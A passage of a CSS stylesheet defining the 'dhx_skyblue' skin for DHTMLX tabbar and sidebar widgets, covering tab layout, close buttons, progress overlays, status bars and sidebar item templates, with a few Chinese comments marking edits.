div.dhxtabbar_arrow_img {\n  position: relative;\n  height: 100%;\n  border-left: 1px solid #c3c3c3;\n  background-image: url(\"imgs/dhxtabbar_skyblue/dhxtabbar_arrows.gif\");\n  background-position: -14px 11px;\n  background-repeat: no-repeat;\n}\n.dhxtabbar_base_dhx_skyblue div.dhx_cell_tabbar {\n  position: absolute;\n  background-color: white;\n  margin: 0px;\n  padding: 0px;\n  overflow: hidden;\n  cursor: default;\n  z-index: 0;\n  background-image: none !important;\n  /* IE6/Quircks */\n}\n.dhxtabbar_base_dhx_skyblue div.dhx_cell_tabbar div.dhx_cell_cover {\n  position: absolute;\n  left: 0px;\n  top: 0px;\n  width: 100%;\n  height: 100%;\n  margin: 0px;\n  padding: 0px;\n  font-size: 1px;\n  background-color: #ffffff;\n  overflow: hidden;\n  z-index: 1;\n  opacity: 0;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=0);\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\n.dhxtabbar_base_dhx_skyblue div.dhx_cell_tabbar div.dhx_cell_cont_tabbar {\n  position: absolute;\n  border-left: 1px solid #c3c3c3;\n  border-right: 1px solid #c3c3c3;\n  border-bottom: 1px solid #c3c3c3;\n  border-top: 0px solid white;\n  overflow: hidden;\n  z-index: 0;\n  -webkit-transform: rotateX(0);\n}\n.dhxtabbar_base_dhx_skyblue div.dhx_cell_tabbar div.dhx_cell_cont_tabbar.dhx_cell_cont_no_borders {\n  border: 0px solid white!important;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tab {\n  position: relative;\n  height: 24px;\n  background-color: white;\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #333333;\n  border-left: 1px solid #c3c3c3;\n  border-right: 1px solid #c3c3c3;\n  z-index: 1;\n  cursor: pointer;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n  background-color: #ececec;\n  background: linear-gradient(#ececec, #e5e5e5);\n  background: -webkit-linear-gradient(#ececec, #e5e5e5);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#ececec, endColorStr=#e5e5e5) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n  -webkit-transform: translate3d(0, 0, 0);\n  -moz-transform: translate3d(0, 0, 0);\n  -ms-transform: translate3d(0, 0, 0);\n  -o-transform: translate3d(0, 0, 0);\n  transform: translate3d(0, 0, 0);\n}\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tabs_cont_left div.dhxtabbar_tab {\n  float: left;\n  margin-left: -1px;\n  margin-right: 0px;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tabs_cont_right div.dhxtabbar_tab {\n  float: right;\n  margin-left: 0px;\n  margin-right: -1px;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tab.dhxtabbar_tab_dis {\n  background-color: #f2f2f2;\n  background: linear-gradient(#f2f2f2, #e5e5e5);\n  background: -webkit-linear-gradient(#f2f2f2, #e5e5e5);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#f2f2f2, endColorStr=#e5e5e5) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n}\n\n\n/*TABBAR激活样式*/\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tab.dhxtabbar_tab_actv,\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tab.dhxtabbar_tab_actv_dis {\n  z-index: 3;\n}\n/*end*/\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tab.dhxtabbar_tab_hidden {\n  border: none;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tab div.dhxtabbar_tab_text {\n  position: relative;\n  height: 23px;\n  line-height: 22px;\n  vertical-align: middle;\n  top: 0px;\n  border-top: 1px solid #fcfcfc;\n  color: #333333;\n  text-align: center;\n  overflow: hidden;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tab div.dhxtabbar_tab_text.dhxtabbar_tab_text_close {\n  padding-right: 9px;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tab.dhxtabbar_tab_actv div.dhxtabbar_tab_text,\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tab.dhxtabbar_tab_actv_dis div.dhxtabbar_tab_text {\n  border-left: 1px solid #fcfcfc;\n  border-right: 1px solid #fcfcfc;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tab.dhxtabbar_tab_actv div.dhxtabbar_tab_text {\n  color: #333333;\n  font-weight: bold;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tab.dhxtabbar_tab_actv_dis div.dhxtabbar_tab_text {\n  font-weight: bold;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tab.dhxtabbar_tab_dis div.dhxtabbar_tab_text,\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tab.dhxtabbar_tab_actv_dis div.dhxtabbar_tab_text {\n  color: #999999;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tab div.dhxtabbar_tab_close {\n  position: absolute;\n  top: 6px;\n  right: 5px;\n  width: 11px;\n  height: 11px;\n  border: 1px solid #d6d6d6;\n  /*修改:TABBAR::CLOSE BTN*/\n  border-radius: 10px;\n  background-image: url(\"imgs/dhxtabbar_skyblue/dhxtabbar_button_close.gif\");\n  background-position: 0px 0px;\n  background-repeat: no-repeat;\n  line-height: 1px;\n  overflow: hidden;\n  z-index: 1;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tab.dhxtabbar_tab_actv div.dhxtabbar_tab_close {\n  border: 1px solid #c3c3c3;\n  background-position: -11px 0px;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tab.dhxtabbar_tab_dis div.dhxtabbar_tab_close,\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs div.dhxtabbar_tab.dhxtabbar_tab_actv_dis div.dhxtabbar_tab_close {\n  border: 1px solid #c3c3c3;\n  background-position: -22px 0px;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs_bottom div.dhx_cell_tabbar div.dhx_cell_cont_tabbar {\n  border-top: 1px solid #c3c3c3;\n  border-bottom: 0px solid white;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs_bottom div.dhx_cell_tabbar div.dhx_toolbar_dhx_skyblue {\n  border-bottom-width: 0px;\n  border-top-width: 1px;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs_bottom div.dhxtabbar_tabs div.dhxtabbar_tab {\n  margin-top: 4px;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs_bottom div.dhxtabbar_tabs div.dhxtabbar_tab.dhxtabbar_tab_actv,\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs_bottom div.dhxtabbar_tabs div.dhxtabbar_tab.dhxtabbar_tab_actv_dis {\n  z-index: 3;\n  font-weight: bold;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs_bottom div.dhxtabbar_tabs div.dhxtabbar_tab div.dhxtabbar_tab_text {\n  top: 0px;\n  border-top: 0px solid white;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs_bottom div.dhxtabbar_tabs div.dhxtabbar_tab div.dhxtabbar_tab_close {\n  top: auto;\n  bottom: 5px;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs_bottom div.dhxtabbar_tabs div.dhxtabbar_tabs_base div.dhxtabbar_tabs_line {\n  top: 0px;\n  bottom: none;\n  border-bottom: 1px solid #c3c3c3;\n  border-top: 0px solid white;\n  background-color: #ececec;\n}\n.dhxtabbar_base_dhx_skyblue div.dhx_cell_tabbar div.dhx_cell_menu_def {\n  position: relative;\n  overflow: hidden;\n  border-left: 1px solid #c3c3c3;\n  border-right: 1px solid #c3c3c3;\n  border-bottom: 1px solid #c3c3c3;\n  border-top: 0px solid white;\n}\n.dhxtabbar_base_dhx_skyblue div.dhx_cell_tabbar div.dhx_cell_menu_def div.dhtmlxMenu_dhx_skyblue_Middle {\n  padding: 0px 2px;\n}\n.dhxtabbar_base_dhx_skyblue div.dhx_cell_tabbar div.dhx_cell_menu_no_borders {\n  position: relative;\n  overflow: hidden;\n}\n.dhxtabbar_base_dhx_skyblue div.dhx_cell_tabbar div.dhx_cell_menu_no_borders div.dhtmlxMenu_dhx_skyblue_Middle {\n  padding: 0px 2px;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs_bottom div.dhx_cell_tabbar div.dhx_cell_menu_def {\n  border-left: 1px solid #c3c3c3;\n  border-right: 1px solid #c3c3c3;\n  border-top: 1px solid #c3c3c3;\n  border-bottom: 0px solid white;\n}\n.dhxtabbar_base_dhx_skyblue div.dhx_cell_tabbar div.dhx_toolbar_dhx_skyblue {\n  border-bottom-width: 1px;\n  border-top-width: 0px;\n}\n.dhxtabbar_base_dhx_skyblue div.dhx_cell_tabbar div.dhtmlxribbon_dhx_skyblue.dhxrb_without_tabbar {\n  border-top: 0px solid white;\n  width: auto;\n}\n.dhxtabbar_base_dhx_skyblue div.dhx_cell_tabbar div.dhxrb_with_tabbar.dhxtabbar_base_dhx_skyblue {\n  margin-top: -1px;\n}\n.dhxtabbar_base_dhx_skyblue div.dhx_cell_tabbar div.dhx_cell_statusbar_def {\n  position: absolute;\n  bottom: 0px;\n  width: 100%;\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #000000;\n  background-color: #eaeaea;\n}\n.dhxtabbar_base_dhx_skyblue div.dhx_cell_tabbar div.dhx_cell_statusbar_def div.dhx_cell_statusbar_text {\n  position: relative;\n  padding: 0px 4px;\n  height: 21px;\n  line-height: 21px;\n  border-top: 0px solid white;\n  border-bottom: 1px solid #c3c3c3;\n  border-left: 1px solid #c3c3c3;\n  border-right: 1px solid #c3c3c3;\n  white-space: nowrap;\n  overflow: hidden;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxtabbar_tabs_bottom div.dhx_cell_tabbar div.dhx_cell_statusbar_def div.dhx_cell_statusbar_text {\n  border-top: 1px solid #c3c3c3;\n  border-bottom: 0px solid white;\n}\n.dhxtabbar_base_dhx_skyblue div.dhx_cell_tabbar div.dhx_cell_progress_bar {\n  position: absolute;\n  left: 0px;\n  top: 0px;\n  width: 100%;\n  height: 100%;\n  background-color: white;\n  opacity: 0.75;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=75);\n  z-index: 1;\n}\n.dhxtabbar_base_dhx_skyblue div.dhx_cell_tabbar div.dhx_cell_progress_img {\n  position: absolute;\n  left: 0px;\n  top: 0px;\n  width: 100%;\n  height: 100%;\n  background-image: url(\"imgs/dhxtabbar_skyblue/dhxtabbar_cell_progress.gif\");\n  background-position: center center;\n  background-repeat: no-repeat;\n  z-index: 2;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxcelltop_progress {\n  position: absolute;\n  left: 0px;\n  top: 0px;\n  width: 100%;\n  height: 100%;\n  background-color: white;\n  z-index: 3;\n  opacity: 0.55;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=55);\n}\n.dhxtabbar_base_dhx_skyblue div.dhxcelltop_progress_img {\n  position: absolute;\n  left: 0px;\n  top: 0px;\n  width: 100%;\n  height: 100%;\n  background-image: url(\"imgs/dhxtabbar_skyblue/dhxtabbar_cell_progress.gif\");\n  background-position: center center;\n  background-repeat: no-repeat;\n  z-index: 4;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxcelltop_hdr {\n  position: relative;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxcelltop_ftr {\n  position: absolute;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxcelltop_menu {\n  position: relative;\n  overflow: hidden;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxcelltop_toolbar {\n  position: relative;\n  background-color: #ebebeb;\n  padding-bottom: 4px;\n  overflow: hidden;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxcelltop_ribbon {\n  padding-bottom: 4px;\n  position: relative;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxcelltop_ribbon div.dhtmlxribbon_dhx_skyblue.dhxrb_without_tabbar {\n  width: auto;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxcelltop_statusbar {\n  position: absolute;\n  bottom: 0px;\n  width: 100%;\n  background-color: #ebebeb;\n  overflow: hidden;\n}\n.dhxtabbar_base_dhx_skyblue div.dhxcelltop_statusbar div.dhxcont_statusbar {\n  position: relative;\n  margin-top: 4px;\n  border: 1px solid #c3c3c3;\n  background-color: #eaeaea;\n  padding: 7px 6px;\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #000000;\n}\nspan.dhxtabbar_tabs_text_test_dhx_skyblue {\n  position: absolute;\n  visibility: hidden;\n  right: 0px;\n  top: 0px;\n  font-weight: bold;\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #000000;\n}\n.dhxtabbar_skin_detect {\n  position: absolute;\n  left: 0px;\n  top: -100px;\n  margin: 0;\n  padding: 0;\n  border: 0px solid white;\n  width: 10px;\n  height: 10px;\n  overflow: hidden;\n}\n.dhxsidebar_base_dhx_skyblue {\n  position: relative;\n  cursor: default;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont {\n  position: absolute;\n  cursor: default;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side {\n  position: absolute;\n  left: 0px;\n  top: 0px;\n  background-color: #f5f5f5;\n  border-style: solid;\n  border-color: #c3c3c3;\n  border-width: 1px 1px 0px 1px;\n  overflow: hidden;\n  z-index: 2;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n  -webkit-tap-highlight-color: rgba(0, 0, 0, 0);\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side div.dhxsidebar_side_items {\n  position: absolute;\n  width: 100%;\n  overflow: hidden;\n  -ms-touch-action: none;\n  -webkit-transition: top 0.2s;\n  -moz-transition: top 0.2s;\n  -ms-transition: top 0.2s;\n  -o-transition: top 0.2s;\n  transition: top 0.2s;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side div.dhxsidebar_side_items div.dhxsidebar_item {\n  position: relative;\n  padding: 0px 10px;\n  z-index: 1;\n  cursor: default;\n  margin: 1px 2px;\n  border: 1px solid #f5f5f5;\n  background-color: #f5f5f5;\n  overflow: hidden;\n  opacity: 1;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #000000;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n  -webkit-touch-callout: none;\n  -webkit-user-select: none;\n  -ms-touch-action: none;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side div.dhxsidebar_side_items div.dhxsidebar_item.dhxsidebar_item_hidden {\n  height: 0px !important;\n  opacity: 0;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=0);\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side div.dhxsidebar_side_items div.dhxsidebar_item:hover {\n  background-color: #f4f4f4;\n  border-color: #d2d2d2;\n  z-index: 2;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side div.dhxsidebar_side_items div.dhxsidebar_item.dhxsidebar_item_selected {\n  z-index: 3;\n  border-color: #c3c3c3;\n  background-color: #b6d5ff;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side div.dhxsidebar_side_items div.dhxsidebar_item img.dhxsidebar_item_icon {\n  position: absolute;\n  left: 9px;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side div.dhxsidebar_side_items div.dhxsidebar_item div.dhxsidebar_item_text {\n  position: absolute;\n  left: 0px;\n  top: 0px;\n  height: inherit;\n  line-height: inherit;\n  white-space: nowrap;\n  overflow: hidden;\n  text-overflow: ellipsis;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side div.dhxsidebar_side_items div.dhxsidebar_item div.dhxsidebar_bubble {\n  width: inherit;\n  position: absolute;\n  padding: 1px 5px;\n  top: 2px;\n  border-radius: 10px;\n  background-color: #9A9A9A;\n  border: 1px solid #f5f5f5;\n  font-family: Tahoma;\n  font-size: 10px;\n  text-align: center;\n  font-weight: normal;\n  color: white;\n  cursor: default;\n  overflow: hidden;\n  z-index: 1;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side div.dhxsidebar_side_items div.dhxsidebar_item:hover div.dhxsidebar_bubble {\n  border-color: #f4f4f4;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side div.dhxsidebar_side_items div.dhxsidebar_item.dhxsidebar_item_selected div.dhxsidebar_bubble {\n  border-color: white;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side div.dhxsidebar_side_items div.dhxsidebar_sep {\n  position: relative;\n  height: 1px;\n  margin: 5px 14px;\n  overflow: hidden;\n  background: #cccccc;\n  background: -moz-linear-gradient(left, #ebebeb 0%, #cccccc 50%, #ebebeb 100%);\n  background: -webkit-gradient(linear, left top, right top, color-stop(0%, #ebebeb), color-stop(50%, #cccccc), color-stop(100%, #ebebeb));\n  background: -webkit-linear-gradient(left, #ebebeb 0%, #cccccc 50%, #ebebeb 100%);\n  background: -o-linear-gradient(left, #ebebeb 0%, #cccccc 50%, #ebebeb 100%);\n  background: -ms-linear-gradient(left, #ebebeb 0%, #cccccc 50%, #ebebeb 100%);\n  background: linear-gradient(to right, #ebebeb 0%, #cccccc 50%, #ebebeb 100%);\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_touch div.dhxsidebar_side_items div.dhxsidebar_item:hover {\n  border-color: #f5f5f5;\n  background-color: #f5f5f5;\n  z-index: 1;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_touch div.dhxsidebar_side_items div.dhxsidebar_item.dhxsidebar_item_selected {\n  z-index: 3;\n  border-color: #c3c3c3;\n  background-color: #b6d5ff;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_tpl_details div.dhxsidebar_side_items div.dhxsidebar_item {\n  height: 23px;\n  line-height: 23px;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_tpl_details div.dhxsidebar_side_items div.dhxsidebar_item img.dhxsidebar_item_icon {\n  top: 3px;\n  width: 16px;\n  height: 16px;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_tpl_details div.dhxsidebar_side_items div.dhxsidebar_item div.dhxsidebar_item_text {\n  padding-left: 34px;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_tpl_details div.dhxsidebar_side_items div.dhxsidebar_sep {\n  margin-top: 2px;\n  margin-bottom: 2px;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_tpl_tiles div.dhxsidebar_side_items div.dhxsidebar_item {\n  height: 43px;\n  line-height: 43px;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_tpl_tiles div.dhxsidebar_side_items div.dhxsidebar_item img.dhxsidebar_item_icon {\n  top: 5px;\n  width: 32px;\n  height: 32px;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_tpl_tiles div.dhxsidebar_side_items div.dhxsidebar_item div.dhxsidebar_item_text {\n  padding-left: 50px;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_tpl_tiles div.dhxsidebar_side_items div.dhxsidebar_item div.dhxsidebar_bubble {\n  top: 12px;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_tpl_icons div.dhxsidebar_side_items div.dhxsidebar_item {\n  height: 43px;\n  line-height: 43px;\n  text-align: center;\n  padding-left: 4px;\n  padding-right: 4px;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_tpl_icons div.dhxsidebar_side_items div.dhxsidebar_item img.dhxsidebar_item_icon {\n  position: relative;\n  display: inline;\n  left: 0px;\n  top: 5px;\n  width: 32px;\n  height: 32px;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_tpl_icons div.dhxsidebar_side_items div.dhxsidebar_sep {\n  margin: 3px 6px;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_tpl_icons_text div.dhxsidebar_side_items div.dhxsidebar_item {\n  height: 62px;\n  line-height: 1em;\n  text-align: center;\n  padding-left: 4px;\n  padding-right: 4px;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_tpl_icons_text div.dhxsidebar_side_items div.dhxsidebar_item img.dhxsidebar_item_icon {\n  position: relative;\n  display: inline;\n  left: 0px;\n  top: 4px;\n  width: 32px;\n  height: 32px;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_tpl_icons_text div.dhxsidebar_side_items div.dhxsidebar_item div.dhxsidebar_item_text {\n  position: relative;\n  display: block;\n  height: 16px;\n  margin-top: 10px;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_tpl_icons_text div.dhxsidebar_side_items div.dhxsidebar_sep {\n  margin: 3px 6px;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_tpl_text div.dhxsidebar_side_items div.dhxsidebar_item {\n  height: 23px;\n  line-height: 23px;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_tpl_text div.dhxsidebar_side_items div.dhxsidebar_item div.dhxsidebar_item_text {\n  padding-left: 14px;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_side.dhxsidebar_tpl_text div.dhxsidebar_side_items div.dhxsidebar_sep {\n  margin-top: 2px;\n  margin-bottom: 2px;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar {\n  position: absolute;\n  background-color: white;\n  margin: 0px;\n  padding: 0px;\n  overflow: hidden;\n  cursor: default;\n  z-index: 0;\n  background-image: none !important;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_cont_sidebar {\n  position: absolute;\n  border-left: 0px solid #c3c3c3;\n  border-right: 1px solid #c3c3c3;\n  border-bottom: 1px solid #c3c3c3;\n  border-top: 1px solid #c3c3c3;\n  overflow: hidden;\n  z-index: 0;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_cont_sidebar.dhx_cell_cont_no_borders {\n  border-width: 0px;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_menu_def {\n  position: relative;\n  overflow: hidden;\n  border-width: 0px 1px 1px 1px;\n  border-color: #c3c3c3;\n  border-style: solid;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_menu_def div.dhtmlxMenu_dhx_skyblue_Middle {\n  padding: 0px 2px;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_menu_no_borders {\n  position: relative;\n  overflow: hidden;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_menu_no_borders div.dhtmlxMenu_dhx_skyblue_Middle {\n  padding: 0px 2px;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_toolbar_def {\n  position: relative;\n  overflow: hidden;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_toolbar_def div.dhx_toolbar_dhx_skyblue {\n  border-top-width: 0px;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_ribbon_def div.dhxrb_with_tabbar.dhxtabbar_base_dhx_skyblue {\n  margin-top: -1px;\n  width: auto;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_ribbon_def div.dhtmlxribbon_dhx_skyblue.dhxrb_without_tabbar {\n  border-top-width: 0px;\n  width: auto;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_statusbar_def {\n  position: absolute;\n  bottom: 0px;\n  width: 100%;\n  background-color: #eaeaea;\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #000000;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_statusbar_def div.dhx_cell_statusbar_text {\n  position: relative;\n  padding: 0px 4px;\n  height: 21px;\n  line-height: 21px;\n  border-bottom: 1px solid #c3c3c3;\n  border-left: 1px solid #c3c3c3;\n  border-right: 1px solid #c3c3c3;\n  white-space: nowrap;\n  overflow: hidden;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_progress_bar {\n  position: absolute;\n  left: 0px;\n  top: 0px;\n  width: 100%;\n  height: 100%;\n  background-color: white;\n  z-index: 5;\n  opacity: 0.75;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=75);\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_progress_img {\n  position: absolute;\n  left: 0px;\n  top: 0px;\n  border: 1px solid #c3c3c3;\n  background-position: center 55%;\n  background-image: url(\"imgs/dhxsidebar_skyblue/dhxsidebar_cell_progress.gif\");\n  background-repeat: no-repeat;\n  cursor: progress;\n  z-index: 6;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_menu_def {\n  border-width: 1px 1px 0px 0px;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_toolbar_def div.dhx_toolbar_dhx_skyblue {\n  border-width: 1px 1px 0px 0px;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_ribbon_def div.dhxrb_with_itembar.dhxtabbar_base_dhx_skyblue {\n  margin-left: -1px;\n  margin-bottom: -1px;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_ribbon_def div.dhtmlxribbon_dhx_skyblue.dhxrb_without_itembar {\n  border-width: 1px 1px 0px 0px;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_statusbar_def div.dhx_cell_statusbar_text {\n  border-left-width: 0px;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhx_cell_sidebar div.dhx_cell_progress_img {\n  border-left-width: 0px;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_arrows {\n  position: absolute;\n  left: 0px;\n  bottom: 0px;\n  height: 24px;\n  border-color: #c3c3c3;\n  border-style: solid;\n  border-width: 1px 1px 1px 1px;\n  font-size: 1px;\n  overflow: hidden;\n  z-index: 3;\n  -webkit-tap-highlight-color: rgba(0, 0, 0, 0);\n  -ms-touch-action: none;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_arrows.dhxsidebar_arrows_hidden {\n  height: 0px;\n  border-width: 0px 1px 1px 1px;\n}\n.dhxsidebar_base_dhx_skyblue div.dhxsidebar_cont div.dhxsidebar_arrows div.dhxsidebar_arrow {\n  position: absolute;\n  width: 50%;\n  height: 100%;\n  top: 0px;\n  font-size: 1px;\n  overflow: hidden;\n  z-index: 1;\n  background-color: #ececec;\n  background: linear-gradient(#ececec, #e5e5e5);\n  background: -webkit-linear-gradient(#ececec, #e5e5e5);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#ececec, endColorStr=#e5e5e5) 